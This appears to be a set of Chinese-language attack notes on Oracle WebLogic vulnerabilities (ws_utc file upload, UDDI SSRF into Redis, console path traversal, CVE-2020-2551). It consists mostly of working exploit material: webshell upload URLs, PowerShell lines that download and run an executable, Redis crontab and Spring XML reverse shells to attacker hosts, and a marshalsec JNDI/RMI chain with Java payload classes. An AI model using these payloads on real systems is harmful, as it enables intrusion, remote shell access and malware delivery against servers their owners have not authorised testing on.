weblogic中间件漏洞总结（三）

10.3.6
12.1.3
12.2.1.2
12.2.1.3

/ws_utc/config.do
/ws_utc/begin.do

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

http://192.168.0.105/:7001/ws_utc/css/config/keystore/{时间戳}_{文件名}
http://192.168.0.105:7001/ws_utc/css/config/keystore/1628933663766_JspSpy.jsp

1./ws_utc/begin.do使用的工作目录是在/ws_utc/config.do中设置的Work Home Dir；
2.利用需要知道部署应用的web目录；
3.在生产模式下不开启，后台开启后，需要认证。

/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp

http://192.168.0.105:7001/ws_utc/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.0.108/zcc.exe','zcc.exe');start-process zcc.exe

10.0.2.0
10.3.6.0

/uddiexplorer/SearchPublicRegistries.jsp

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;.  Please ensure that your URL is correct, and the web service has deployed without error.

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: &#39;1&#39; addresses, but could not connect over HTTP to server: &#39;127.0.0.1&#39;, port: &#39;7002&#39;

An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://192.168.0.108:80 which did not have a valid SOAP content-type: text/html.

docker inspect a5a

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.104/12345 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.104%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

http://192.168.0.105:7001/zcc/JspSpy.jsp

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0

http://192.168.0.105:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.
mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/zcc123%27);%22);

## poc.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/192.168.0.104/6669 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged
.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.0.108/poc.xml")

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

import java.io.IOException;
public class exp {
 static{
  try {
   java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
 public static void main(String[] args) {
 }
}

javac exp.java -source 1.6 -target 1.6

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.108/#exp" 12345

java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.108:12345/exp

import java.io.IOException;
public class exp {
 static{
  try {
   java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c"," (new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/zcc.exe','zcc.exe');start-process zcc.exe"});
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
 public static void main(String[] args) {
 }
}